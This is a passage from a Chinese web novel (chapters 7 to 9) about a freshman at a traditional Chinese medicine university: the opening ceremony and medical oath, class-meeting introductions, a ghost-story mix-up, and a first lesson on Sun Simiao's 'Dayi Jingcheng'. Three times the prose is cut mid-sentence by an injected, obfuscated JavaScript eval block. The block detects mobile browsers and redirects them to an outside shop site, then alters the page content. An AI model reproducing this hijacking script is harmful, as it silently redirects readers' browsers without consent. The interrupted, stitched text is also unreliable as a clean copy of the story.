队伍从综合楼和百草园之间的上坡路经过,不知道谁第一个摸了一把百草园出口的张仲景雕像的脚,后面不时有人有样学样,艾青禾路过时也随大流地摸了一把。 “还没考试就开始临时抱佛脚啦?”杨梦津不解,她大为震撼。 艾青禾绷着脸,努力辩解:“我这是未雨绸缪。” 好一个未雨绸缪,连刚认识说话还不那么放得开的男生都忍不住想吐槽了,“可是什么人需要临时抱佛脚啊?” “怎么能这么看不起自己!你千军万马过独木桥的高考都考过了!” 孟彦卿甚至劝她:“要不还是期末周努力点背书吧?” 艾青禾:“……”喂!!! 他们说笑着往前走,穿过飘扬着红旗的太极广场,经过办公楼和护理学院,抵达针康学院对面的体育馆。 排队进场的时候,艾青禾很好奇地回头看针康学院的针灸楼,问旁边的同学:“我们以后会学针灸吧,是不是来这里上课?” 孟彦卿听见,点点头回答道:“实验课会来这边上。” “实验课?”艾青禾很好奇,“针灸的实验课上什么?” “当然是来练习扎人和被人扎。”孟彦卿继续为她解惑。 艾青禾:“???” 她瑟瑟发抖:“……不扎行不行?” “师兄说是有随堂小测的。”孟彦卿摇摇头,面露遗憾,“不扎也得扎,而且实验课都是小班,老师很容易发现谁在偷懒。” 十七八岁的少年人还不会掩饰情绪,说完便忍不住笑起来,笑声里有几分揶揄,分明是call back刚才她“临时抱佛脚”的梗。 艾青禾:“……” 你小子实验课最好别落我手上!她心里骂骂咧咧。 体育馆很大,二层看台的位置明显不够,所以一层还摆了不少凳子,而且还是红色的,一看就很眼熟,艾青禾想起来家里也有。 请客吃饭的时候如果椅子不够,就去杂物间搬几张这种凳子。 第二医学院被安排在二楼看台左侧,艾青禾跟在闻婧后面,她走她走,她停她停,等坐下了才发现孟彦卿他们几个就在她们前面那一排。 因为是阶梯式座位,坐在后面的她可以很清楚的看到他头顶的发旋。 好圆的发旋……艾青禾忍不住多看几眼。 会场里在播放音乐,没有歌词,但旋律听着很悠扬。 某一刻音乐声突然停止,开学典礼正式开始了。 主持人介绍着台上每一位列座的领导,这个是国医大师,那个是全国名中医,人人都有长长的头衔。 流程无非是校长致辞,师生代表发言,很快也就结束了。 匆匆吃过午饭回去休息,下午两点半又要去参加学院的开学第一课,这次是在礼堂,出席的是学院领导,最重要的环节只有一个——医学生宣誓。 “健康所系,性命相托。 当我步入神圣医学学府的时刻,谨庄严宣誓: 我志愿献身医学,热爱祖国,忠于人民,恪守医德,尊师守纪,刻苦钻研,孜孜不倦,精益求精,全面发展。 我决心竭尽全力除人类之病痛,助健康之完美,维护医术的圣洁和荣誉,救死扶伤,不辞艰辛,执着追求,为祖国医药卫生事业的发展和人类身心健康奋斗终生。”[1] 诵读声整齐洪亮,好似一浪将高过一浪,不停的在礼堂上空回荡盘旋。 艾青禾站在人群里,右手高举握拳,仿佛在这声浪里看到了无数向前冲锋的白甲战士。 他们组成人墙,奔跑在硝烟中,他们散落成星子,移动在江川湖海里。 她突然想起十年前那场名为“非典”的疫情,范月娥进了单位的隔离区,很久没有出来,艾闻喜天天都要看新闻,天天烧香,念叨着疫情快点过去吧。 我终将成为另一个你。艾青禾突然想。 她觉得心里好像有什么东西被催生了出来。 7. 第七章 参加完两场开学典礼,晚上还有班会。 综合楼一楼的103教室,接下来一年,艾青禾和同学们除了英语之外的所有理论课程,上课地点都在这里。 教室的后面是一块黑板,上面是国医节的主题墙报,两边的墙上挂着名人名言的宣传框。 左边是裴一中的【德不近佛者不可以为医,才不近仙者不可以为医】、《医工论》的【凡为医之道,必先正己,然后正人】,和希波克拉底的【医术是一切技术中最美和最高尚】。[1] 右边是孙思邈的【大医精诚】、《淮南子》的【良医者,常治无病之病,故无病】,和张仲景的【进则救世,退则救民;不能为良相,亦当为良医】。[2] 艾青禾在心里把文言文翻译一遍,视线转向讲台,终于见到了他们的辅导员,高挑丰满,鹅蛋脸杏仁眼,很大气端庄的长相,也很年轻,看起来就像他们的师姐。 她站在讲台上笑眯眯地看着大家,开了麦克风,指挥大家:“按学号竖着坐,一个接一个,我认一下人。” 原本坐下的人就又动起来,调整了好几分钟才再次坐好,四周都是窃窃私语的声音。 学号似乎是按照生源地拼音首字母来排的,艾青禾和闻婧离得最近,杨梦津和杜清谷都坐到其他地方去了。 左右两边都是不认识的同学,艾青禾立刻便拘谨安静下来,只好奇地左右张望。 但幸运的是,她后面就是孟彦卿。 旁边有一个认识的人还是让她松了口气,虽然也不是很熟,但起码让她觉得这个环境是有点熟悉的。 孟彦卿用笔轻轻戳一下她后背,她立刻回头,神情有些紧张:“怎么啦?” “……没什么。”孟彦卿被她的反应微微惊了一下,眨眨眼才问道,“你吃花生酥吗,严自恒带来的家乡特产。” 说完没等艾青禾答应,放在桌下的手抬起,三根手指捏在两枚花生酥的包装袋的边缘,往她面前一送。 “味道还不错,不是很甜。” 艾青禾一愣,旋即立刻反应过来,忙接过糖,道了声谢:“……谢谢,嗯、下次我请你们吃……呃、牛皮糖?” 那也是一种花生糖,不过是花生软糖,麦芽糖里裹着很多炒过的花生,咀嚼起来又香又甜,五毛钱一块,是桂城小孩从小吃到大的零食。 孟彦卿听完想了一下才反应过来是什么糖,哦哦两声,想了一下,问道:“你吃桂圆肉吗?我从家里带了。” “……啊?你还从家里带桂圆肉来啊,要自己煮汤吗?”艾青禾有些惊讶,接着又好奇,“我们宿舍可以自己做饭吗?” 孟彦卿的表情在听到她这句话时顿了一下,变得有些无奈:“我妈妈夏天的时候晒的,我大师兄非要让我带,说是可以跟室友分享。” 大师兄?艾青禾觉得此师兄非彼师兄,应该不是像白师姐、或者同乡会的师兄师姐那样的师兄。 好奇,但没好意思问。 恰巧这时辅导员又开了麦克风:“同学们安静一下,我们的班会马上开始。” 周围的说话声安静下来。 艾青禾转回身,习惯性地从笔袋里拿出一支笔,又打开笔记本——她也不知道要记什么,就是觉得这样有点事干。 “首先,恭喜各位同学进入人生新阶段,欢迎来到容城中医药大学。我是你们的辅导员贺雁宁,接下来几年,将由我负责大家的日常管理,有什么问题都可以私聊我,包括有的同学可能第一次离家这么远,很想家,想找人倾诉一下,可以跟我说说,或者有需要帮助的地方,可以给我发信息或者去办公室找我,我办公室在办公楼的三楼305,二院学生处。” 她话音刚落,讲台上的PPT就翻过了一页。 “今天的班会主要是三个议程,一是同学们的自我介绍,大家来自五湖四海,第一次见面,自我介绍是快速认识彼此的重要途径,每人一分钟,记得介绍一下自己爱好和特长,也可以介绍一下自己的家乡哦。” “第二个议程是班委选举,有兴趣锻炼一下自己的同学可以参加竞选,当然,考虑到同学们都是刚来,谁也不了解谁,这次竞选产生的班委班子也只是暂定的,一个月后我们会重新进行调整。” “第三项议程比较简单,是入学教育,包括纪律、安全问题等等……” 艾青禾听一句漏一句,满心都是怎么要做自我介绍啊?那么多人!说什么才好啊,我害怕怎么办…… 她不由自主的变得紧张,仿佛连呼吸都变得有点不畅。 辅导员的开场结束,第一个上台做自我介绍的同学是一位扎着高高的马尾辫、穿着小短裙的女生,抬头挺胸笑容满面的样子看起来非常自信。 “各位同学大家好,我叫施钰,来自天下第一名山所在的安徽黄山……” 落落大方,声音洪亮,咬字清晰,艾青禾对这位同学的第一印象很好,所以当听到对方最后说一会儿要竞选班长的时候,她不由自主地点点头。 有这样大大方方勇敢表现自己的,就有腼腆拘束不善言辞的。 有的同学上去以后介绍完自己的名字和来自哪里之后,就不知道说什么了,一时卡在那儿,虽然同学们立刻便鼓起掌来,中间也还是有十几秒左右是全场安静的。 这种安静让艾青禾犯了替人尴尬的毛病,看着那位同学红着脸说完一句“希望接下来的几年能和大家成为好朋友”后匆匆下台,她不禁有些害怕。 一会儿我不会也这样吧?!! 她心里害怕嘀咕,一边在心里打草稿,一边认真听同学们说了什么。 一个接一个,陈嘉渝和闻婧先后上过台,再过两个人,就到她了。 艾青禾深吸口气,往讲台上一站,抬头一看,阶梯教室里那么多同学都一起看向自己,脑子里顿时一片空白。 心里多少草稿都不记得了。 高中时也不是没有在全班同学面前发过言,但现在就是感觉不一样。 她听见自己的胸腔里那颗心脏像擂鼓一般疯狂跳动,不由自主地慌乱。 她忍不住寻找室友的位置,太过仓促,只找到闻婧。 看见闻婧捏着拳头在跟前冲她笑着晃了两下,艾青禾突然就镇定了一点,抿着唇笑起来。 “大家好,我叫艾青禾,艾青的艾,青青禾苗的青禾,来自桂城,嗯……”她磕巴了一下,眨眨眼,这才继续道,“我的爱好和特长是画画和手工,呃、很高兴和大家成为同学,希望接下来能和大家成为朋友,谢谢。” 说完赶紧一溜烟跑下讲台。 根本没有没发挥好的懊恼,只有一切终于结束了的轻松,劫后余生这四个字原来是这样写的! 她和坐她后面的孟彦卿擦肩而过。 等坐外面的同学让开,她回到座位上时,台上刚好传来清朗的少年音:“大家好,我叫孟彦卿,孟子的孟,硕彦名儒的彦,白衣卿相的卿,我也来自桂城,家里是开武馆的,所以特长是武术,如果有同学喜欢咏春和太极,欢迎一起交流……” 艾青禾有些惊讶地看向讲台,都顾不上觉得脸烫了,只惊讶于原来孟彦卿是练武的。 他看起来一点都不壮,反而像一片被晨光浸润的年轻树叶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004263|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺拔又清瘦,身量刚刚长开,和她以为的习武之人截然不同。 不过也有可能是她孤陋寡闻,所有的固定印象只是来源于文艺作品和自己想象。 桂城哪里有武馆啊?她想了好一会儿,直到孟彦卿都下来了,也没想起来。 不过班会开始之前的疑惑倒是解开了,她忍不住好奇地回头低声求证:“你刚才说你大师兄非要让你带桂圆肉来,是你在武馆的大师兄吗?” 孟彦卿微微往前一卿,像是趴在桌上,同样压低声音地回答道:“嗯,就是陪我来报到的那个,是我爸的大徒弟。” 他记得报到时艾青禾跟他打过招呼,以为她也见到了朱允南。 但实际上艾青禾根本没想起来,或者说,她当时根本没注意到他旁边陪同的是谁,因此只能有些茫然地哦哦两声,不敢多开小差,连忙将头转回去。 自我介绍的环节没过多久就结束了,一百四十个同学,每人一分钟,原则上要花两个多小时,但实际上不到两个小时就结束了,因为大把同学像艾青禾那样,只说两句话就没什么可讲的了。 中场休息,有人去洗手间或者接水,有人忙着跟刚认识的新朋友闲聊,艾青禾则是在看手机。 宿舍群里杜清谷发了几张照片,是除她之外的三人上去做自我介绍时的照片,很贴心,全都P了。 杨梦津:【?这种时候就没必要留念了吧,我怕几年后不敢面对自己啊[擦汗]】 杜清谷:【这是你的来时路!是你的青春记忆!千金不换![奋斗][奋斗]】 杨梦津:【[吐][吐][吐]】 艾青禾看了忍不住抿着唇憋笑。 闻婧这时突然冒头问:【有人要学车的吗?四个轮子那种,组团报名有优惠[呲牙]】 杨梦津立刻回复:【我等天冷了再学,现在学肯定会被晒得很黑[嘘]】 艾青禾抿抿唇,跟了一句:【我也不学,我还得学自行车呢。】 倒是杜清谷打算报名,兴致勃勃地说到时候一起出去玩她可以跟闻婧换着开车。 艾青禾回了个表情包,想了一下,回头问后面的孟彦卿:“闻婧说组团报驾校有优惠,你们有兴趣吗?” 孟彦卿正在看书,他中午没回宿舍,在图书馆待了一会儿,借到一本很有意思的书,一位有名的医学博士解读各位古代名医,比如钱乙一位儿科医生怎么创立了六味地黄丸,语言生动易懂,他看得有趣,就把同系列都借了回来。 正看得起劲,忽然听到艾青禾问他报不报驾校,他还愣了一下才反应过来:“……有详细资料么?” “我问问。”艾青禾就这么侧着身,一面往宿舍群里发信息,一面有些没话找话似的问孟彦卿,“你在看什么书呀,预习明天的课吗?” 孟彦卿失笑,“课外书,很有意思,你看不看?还有一本。” “啊……那、那谢谢你。”艾青禾有些腼腆地应了一句,接着说,“我把驾校的资料转给你了。” 孟彦卿道谢,顺口问她报不报名。 艾青禾闻言表情一顿,有些讪讪:“……我、我暂时还学不到这么难的。” 十分委婉,但孟彦卿立即便听懂了,忍俊不禁地点点头:“也是。” 语气有些揶揄,艾青禾听出来了,忍不住皱皱鼻子。 刚想说他怎么能笑话同学,就发觉坐旁边的那个女生一直看着她,笑眯眯的,很友善。 她眨眨眼,也冲对方笑笑,还把手举到胸前小幅度摇晃两下:“你好呀。” 说完顿了一下,又补充:“刘语桃同学。” 8. 第八章 容中医实行大班教学,一个班里一百多个学生,吃的是大锅饭,艾青禾一时半会儿记不住一起吃饭的这许多人每个人都叫什么。 但坐在旁边的同学叫什么她还是能记得的。 她打完招呼,刘语桃就笑着应道:“我住你们隔壁的306。” “原来是邻居吗?这么巧。”艾青禾有些惊讶,“你们宿舍还有谁呀?” 刘语桃说了几个名字,这个婷那个茵,艾青禾听下一个忘前一个,最后只能哦哦两声。 以后见得多了,有来有往之后,肯定能记住的,她安慰自己。 “你的酒窝好可爱,是遗传吗?”刘语桃笑眯眯地看着她问道。 刚才她就注意到了,不管艾青禾笑还是不笑,只要唇部动作稍微大点,就会出现酒窝,是酒窝深浅的程度有些不同。 艾青禾对这个问题非常熟悉,闻言点点头:“是吧,好像我奶奶和姑姑都有,但没有我的那么明显。” 这时孟彦卿将书递过来,艾青禾忙接过,看一眼书名,《中医祖传的那点东西(2)》,道谢后又好奇:“你在看的是第一册吗?” “看完跟你换。”孟彦卿点点头,说话时忍不住仔细看一眼她的脸。 嗯,酒窝是挺明显的,就在两边的腮骨下方,像凹陷的小坑。 刘语桃见他们熟稔,想到他们自我介绍的时候都说是来自桂城,便问道:“你们是高中同学吗?” 艾青禾啊了声,立刻摇头:“不是,我看榜的时候没看到还有人跟我一个学校一个专业的,读医的都是理科班的同学,在容医大。” “我有一个同班同学在隔壁班。”刘语桃道。 “我们宿舍杨梦津也有。”艾青禾应了一句,问孟彦卿,“你有吗?” 孟彦卿摇摇头,说:“有个高中是隔壁班的同学在药学院。” 说完轮到他问艾青禾:“你高中是哪里?二中?” 艾青禾点头,惊讶地问:“你怎么知道?” “猜的,因为我在一中,我以前没见过你。”孟彦卿淡定道,“所以我可以从二中猜到七中。” 桂城总共九所中学,只有公立的一到七中有高中部。 艾青禾眼睛一转:“说不定我们同校,只是你没见过我,或者见过不记得了。” 一个年级十六个班,加起来上千人,不是同班,没见过、不认识,真的太正常了。 但她刚说完,孟彦卿就用你是不是傻的眼神看着她,有些无语:“你刚刚才说没有高中同学跟你一个学校一个专业。” 艾青禾:“……” 刘语桃绷不住哈哈大笑起来,逗得另几位坐在一起但一直没说上话的同学也忍俊不禁。 艾青禾抬手抠抠脸,嘿嘿笑了一下。 “你是文科生啊?”刘语桃问她。 她点点头,刘语桃又问:“你读文的怎么会想到要读医?” “……我妈非让我读。”她撇撇嘴,“我本来选文科就是想避开学医,谁知道读文也可以报。” 谁叫中医学文理兼收呢。 “其实我本来也没想读容中医的。”刘语桃大方道,“第一志愿是容医大的临床专业,结果没上,就到第二志愿来了。” 坐孟彦卿左边的那个男生闻言点点头:“我也是,不过我的第一志愿是容医大的中医学院。” 艾青禾好奇,忙问了附近几位同学,大家也不介意告诉她这种过去式的信息,凑到一起一聊,发现竟然过半数都是第二志愿来的。 他们的第一志愿要么是容医大,要么是北方另一所更好的中医药大学。 就连307的闻婧、孟彦卿宿舍的陈嘉渝也不例外。 艾青禾哇了一声,饶有兴致地问孟彦卿:“你咧?” “第一志愿。”他耸耸肩,“我爷爷是六十年代的中医学院学生。” 容中医以前就叫中医学院,到了九十年代中期,才经国家教委批复,正式更名为中医药大学。 大家恍然大悟,他这是要继承衣钵的。 “学中医要是有家传确实更容易点,毕竟很多都是经验方,那些医学古籍经验不足的看不懂。” “孟彦卿你是不是从小就开始背四大经典啊?” 在大家的议论声里,艾青禾逐渐有些好奇,插话问道:“你爷爷是看哪个科的呀?” “跌打骨伤。”孟彦卿回答道。 艾青禾眨眼:“在哪个医院啊?中医院还是人民医院?” “我们家开诊所的,方便武馆的学生。”孟彦卿说不少武馆的学员都会下课以后去跌打馆贴膏药。 艾青禾又眨眨眼,问道:“你家诊所,是在府前路那边的老街吗?” 这下轮到孟彦卿惊讶了,“你怎么知道?” “我猜的,我爸在工地有时候会伤到腿脚,有人介绍去过那边一家跌打馆,说那个老中医看骨伤很好。”艾青禾解释道。 孟彦卿疑惑:“老街那一带好几家诊所,你……” “是不是只有一家姓孟?”艾青禾问道,努力让自己别露出你是不是傻的眼神。 但没成功,她忍不住嘻嘻笑了一声。 孟彦卿:“……”你这是有仇当场就报是吧:) 班会中间休息二十分钟,艾青禾跟周围的同学就聊了二十分钟。 起初只有她、孟彦卿和刘语桃三个人在说话,后来其他同学也加入进来,便热闹起来了。 直到铃声响起,大家还有些意犹未尽。 接下来是竞选班委,每个职务最多三个候选人角逐。 艾青禾对哪个同学都不熟悉,只能凭第一印象,比如竞选班长的有施钰和其他两位同学,她对施钰印象最好,便决定投票给她。 307宿舍无一人参与竞选,倒是孟彦卿所在的男生613宿舍有人参与角逐——陈嘉渝参选副班长,严自恒想当文娱委员。 艾青禾立刻就决定,好的,副班长和文娱委员的票不用想给谁了。 班委的最后一个职务是小班长,其实就是将所有同学按宿舍分成四组,男生两组女生两组,再分别任命管理员,帮助班委完成日常工作。 “比如要收班费,同学们先交到对应的小班长那儿,再由小班长汇总到班长那儿,比如我们的《内经》课的平时分其中一条打分标准是背书,同学们就去各自的小班长那儿背,小班长去学委那儿背。”辅导员贺雁宁举例子道。 艾青禾一听就心里叫苦,妈呀,都大学了,怎么还要背文言文! 这个职务刘语桃去参选了,艾青禾就送她一票。 ——整个投票过程完全没有科学依据和慎重考虑,只有眼缘和人情。 最绝的是,坐她另一边的同学见她写得飞快,还问她:“能给我抄一下吗?实在不知道选哪个好,我室友都没上去。” 同学之间要互相帮助!艾青禾立马将自己的投票纸推过去。 计票的时候辅导员同时进入最后一项议程,讲的都是规章制度,比如多少学分才能毕业之类,必修限选和公选课的学分到大五要分别达到多少,素质教育学分是什么,还有补考制度、请假制度、奖助学金制度等等。 最后说:“大家来自不同的城市不同的家庭,生活习惯各有不同,希望大家在接下来的几年里,能够求同存异,互相包容,也希望大家能在大学里找到自己未来的方向,科研也好,临床也罢,或者是其他的事,都能获得成长……” 这一段结束,班委选举计票结束,结果出来了,艾青禾基本都投中了。 等听完几位小班长各自负责的宿舍,便转头对刘语桃笑道:“以后你就是我们宿舍的小班长了诶。” “多多关照。”刘语桃笑嘻嘻地冲她拱拱手。 班会结束已经将近晚上十点,一群人蜂拥着往外走,因为是刚来,有自行车的是少数,大家多是步行。 但饶是如此,教学区里也还是显得十分安静,路灯昏黄的光将大家的影子拉得长长的,摇摇晃晃。 经过百草园的入口时艾青禾往前看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004264|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那是通往解剖楼和药科楼的路,虽然也有灯,但因为没什么人,显得更加安静。 甚至是幽静,她脑子不知哪根筋搭错,突然问闻婧:“你们想听鬼故事吗?就是医学院解剖楼……” “……啊啊啊!闭嘴!不许说!”杜清谷一激灵,立刻反应过来,开始往前跑,“我不听,你等我走远了再讲!” 她一溜烟跑了,剩下的三个人嘿嘿笑出声来。 杨梦津胆大,问道:“解剖楼怎么了?” “啊就是……”艾青禾现编,还故意压低声音,“小红是医学院的学生,有一天她去上解剖实验课,下课的时候是傍晚,她走到半路发现笔记本落在实验室了,回去取,拿到笔记本要走的时候,看到黑板上突然出现一个血红色的歪斜笑脸,旁边还有一行字跳出来,‘今天你学得很好,该轮到我了‘,同时,身后传来冷柜滑轨滚动的嘎吱声,她僵在原地……” “喂,你们在说什么呢?叽里咕噜的。”耳边突然传来一道男声。 凑在一起的三个人吓了一大跳,腾一下弹跳起来,啊啊叫着不管不顾地往前跑。 “救命!” “真的有鬼!” 孟彦卿他们几个见状一愣,一时面面相觑:“她们怎么了?” 刚刚出声问她们在说什么的赵凡耸耸肩:“不知道。” 三人一路跑到天桥底下才停下来,大概是因为桥两边都有灯,距离又不远,所以桥上的光线明亮很多,杜清谷正扶着一根灯柱在等她们。 见她们跑得像后面有鬼追似的,不由得愣住:“怎么了?真的有……” “刚才突然有别的声音!”编故事的艾青禾最入戏,一脸惊恐地往大家身后躲。 杜清谷有点迷糊,因为不知道她们到底说了什么故事,正要问,就看见孟彦卿和严自恒他们几个从后面走过来。 各个都是一脸疑惑和无语,走近了赵凡才问:“你们跑什么啊?” 艾青禾又哇了一声,往后一仰。 杜清谷:“……” 她一把抓住这人,问男生们:“你们刚才跟青禾说话啦?” “我问她们凑在一起叽里咕噜说什么玩意儿,头靠头的,像在讲什么机密要事。”赵凡说着耸耸肩,“诶哟,我刚说完她们就撒丫子跑了,嘿。” 两边一对账,才知道是闹乌龙,男生们和杜清谷哈哈大笑,另外三个人一脸讪讪。 艾青禾最尴尬,嘀咕着辩解:“谁让你突然冒出来,人吓人吓死人好吧……” 孟彦卿忍俊不禁,又要讲鬼故事又要怕,这是什么操作? 后来随着交往深入,他了解了艾青禾的性格,才知道这人就是又菜又爱玩。 一行人结伴往生活区走就热闹多了,路过一食堂,陈嘉渝还提议大家去吃宵夜——一食堂晚上供应糖水。 等真正回到宿舍洗漱休息,已经是晚上十一点以后的事了。 第二天是周五,要上课,而且是真正的大学第一课,艾青禾他们班上的是《医古文》。 八点半开始上课,她们必须八点之前就出门,因为要去食堂吃早饭,还得更早,刚刚脱离高中,还保持着中学时代早起习惯,她们七点半就到了食堂。 早餐吃肠粉,杨梦津和杜清谷不是本地人,严格来说艾青禾也不是,于是她们仨便一边吃一边听闻婧介绍肠粉都有什么流派,约好下次周末就一起去市里玩。 这个周末不行,艾青禾要去买电脑。 吃过早餐到教室,是八点十五分,几个人站在门口往人堆里找位置,看见正对着讲台那一边的第四排有空位,而且后面就是孟彦卿他们几个,立刻便小跑过去了。 刚坐下,授课老师便提着电脑包端着保温杯进来,一身黑色装束,黑色的针织高领短袖,黑色的阔腿裤,黑色的高跟鞋,看上去十分有气质,笑眯眯的脸温温柔柔。 但艾青禾的注意点却是:“哇,老师的大辫子好黑好漂亮!” 大家:“……”你到底是不是来上学的?! 9. 第九章 铃声响起,正式开始上课了,教室里安静下来。 医古文老师打开课件,拍了拍麦克风,笑眯眯地问大家:“今天是你们在大学里的第一节课吧?昨天是开学典礼。” “感觉怎么样?跟你们以前想象的大学生活有没有很大区别?” 大家都说不上来什么,毕竟才来了没两天。 老师笑眯眯地继续道:“医学院和其他院系和学校还是不太一样的,大学城这边专业多,你们可能还感觉不太到,等大三去老校区,那边只有医学专业了,就会发现差别了。” 艾青禾听着这话,心里嘀嘀咕咕。 她以为大学生活,是课程少少活动多多,自由自在,谈恋爱、旅行、去看演唱会,等等,成绩单都是浮云。 但才来了两三天,她这个想法就开始动摇了。 她昨晚睡前翻了一下今天要上的两门课,《医古文》和《医学生物学》的课本,头都大了。 文言文还好说,生物学…… “生物学为医学提供了重要的理论支持,细胞是生命活动的基本单位,所有生命现象都可以追溯至细胞层面。”[1] “生命是以核酸与蛋白质为主导的自然物质体系。”[2] 梦回高二会考:) 她想到报到那天,白师姐说的那句话,“只要专业选得好,年年期末像高考”,感觉这才是真相。 “大一大二的课程相对还是很轻松的,压力不大,你们可以抓紧这段时间享受一大学生活的轻松和美好,多去参加活动,多认识一些人,能找到跟自己志同道合的人就更好了。” 老师边说边扫了一眼教室四周,笑着继续道:“但大家来到这里,更重要的,是学好专业本领,学会怎么当一名医生,什么样的人才是真正的医生?” “现在打开你们的课本,翻到《大医精诚》这一篇。我的课本是旧版的,可能跟大家的页数不一样了,大家从目录找。” 她话音刚落,屏幕上的课件就翻了一页,出现课文名字,底图是孙思邈像,跟图书馆门前的药王像一模一样。 “这篇文章被誉为东方的希波克拉底誓言,讲医者仁心,讲作为一名医生,要有精诚之心……” 老师介绍完这篇课文的大致内容,要求大家一起朗读课文的第一段:“张湛曰,预备——起。” “张湛曰……”艾青禾连忙张口,同时低头去看课本,一看就懵了。 昨晚看得不仔细,居然没发现是繁体字的文言文! 【張湛曰:“夫經方之難精,由來尚矣。”……】[3] 你看这像话吗!怎么是繁体字的啊!医古文医古文,有必要古成这样吗! 都是从小就用简体字的人,对繁体字知之甚少,哪怕能认,也要在脑海里转换一下。 于是朗读的声音从一开始就错错落落,根本不整齐,听起来像是各读各的。 艾青禾更是手忙脚乱,眼睛跟不上嘴巴,脑子跟不上眼睛,到最后快连简体字都不认识了。 她偷空看一眼讲台,老师似乎早就预料到会是这样的场面,只一味笑眯眯地看着大家。 等到大家稀稀拉拉地读完,她才笑呵呵地问:“这个下马威怎么样?下次可要提前预习了,不懂的字可以提前标注拼音。” 还有些开玩笑似的:“我可以现在就告诉你们期末考的题型,其中之一就是简繁转换,怎么样,这个重点画得够准吧?” 艾青禾和同学们不约而同地哇出声来。 真是太感人了!一开学还没开始上课就划重点! 但整节课还是很顺利地上完了,课间休息的时候,艾青禾看到老师站在窗边喝水,粗黑的辫子垂在她脑后,发尾齐腰,不知道是光线问题还是艾青禾错觉,她只觉得那条大辫子油亮油亮的。 “你们真的没有觉得老师的头发很漂亮吗?”她忍不住扭头问闻婧她们,“一看就气血很好的样子。” “正当壮年,谁气血不好。”闻婧有些不以为然。 艾青禾刚想说什么,杜清谷就问:“咱们老师多大啦?” 好家伙,这问题问的,才第一次见面,就私底下讨论女士的年龄,这多冒昧! “我看看官网。”闻婧打开手机开始搜索,“《医古文》是我们学院开的课,还是基础医学院?” 三个家伙一问三不知,只会摇头。 闻婧在学校官网跟吃瓜的猹似的看到链接就点,来来回回,终于在基础医学院的各教研室介绍里找到医古文老师的照片和简介。 “硕士研究生导师,教授……” “应该跟咱们爸妈是同龄人吧?” “哇!我爸妈都有白头发了,老师的根本看不出……” “有没有可能染过?” 几个人压低声音叽叽喳喳,后面的孟彦卿他们本来没留意她们的话题,这会儿也被吸引了。 严自恒用笔戳戳杨梦津的肩胛,好奇问道:“你们聊啥呢这么热闹,不会又讲鬼故事了吧?” 艾青禾:“???” 除她以外每个人都笑得很开心,实在是昨晚的乌龙太搞笑了。 没等杨梦津回答严自恒的问题,上课铃声响了。 课接着上一节的内容往下,到了整篇文章中最重要,或者说大家最熟悉的一段。 如果去中医院或者医馆,有可能在墙上看到这段话: 【凡大醫治病,必當安神定志,無欲無求,先發大慈惻隱之心,誓願普救含靈之苦。若有疾厄來求救者,不得問其貴賤貧富,長幼妍蚩,怨親善友,華夷愚智,普同一等,皆如至親之想。亦不得瞻前顧後,自慮吉凶,護惜身命……】[4] 兴许是课间休息时大家都看过一遍了,比起第一节课,这次大家朗读得整齐多了,有种朗朗上口的韵律感,很动听。 艾青禾跟着大家一起认真读书,目不转睛地盯着课本,只觉得文言文的平仄韵脚念起来顺口极了。 直到后来脱离课本,将目光投向在医院里见到的每一张脸,再想起这个大家坐在一起朗读课文的上午,才终于领味到其中深意。 老师说:“时代在发展,形势不同了,我们在帮助病人的时候,确实不该瞻前顾后,要尽自己最大的努力去解除病人的痛苦,但也要讲究方法,人身安全非常重要,你才是自己生命的守护神,每个人的命都只有一次,病人是,你也是。” 点到即止,立刻便接着道:“好,我们来看下一段。” 上午只有两节课,十点便放学了,艾青禾收拾好书包跟闻婧她们往外走的时候,偏巧碰到同样走出教室的老师。 离得近了,她就更被老师的大辫子吸引。 乌黑油亮的颜色很均匀,从发根到发梢都充满了健康的光泽,如果是染的,得花多少钱才能保养成这样? 艾青禾印象里染的头发似乎没有这么健康的。 大概是她打量的目光太明显,老师突然转过头来,笑眯眯地问:“怎么这样看着我呀,是不是上课有哪里不明白的?” 艾青禾的脸顿时就红了,下意识点点头,旋即又反应过来,忙摇摇头。 她有些尴尬,但又不能直接就跑,只好硬着头皮回答道:“老师你的头发很好看。” 说完还点点头,像强调什么似的。 老师眼睛一弯就哈哈笑起来,“谢谢夸奖,不过比不上你们小朋友啦,你们不用任何保养头发都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004265|194001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌黑亮丽的,不像我们,要吃这吃那,要早睡,才能尽量让身体好一点,能为革命事业多奉献两年。” 艾青禾闻言立刻搓搓手,打蛇随棍上,“那……老师有没有什么保养头发的诀窍可以告诉我吗?就是……我也想为革命事业多奉献两年。” 她说完,杜清谷立刻低头噗嗤一下笑出来。 闻婧和杨梦津演都不演,直接就哈哈大笑,笑得艾青禾的眼神都开始不停地飘了。 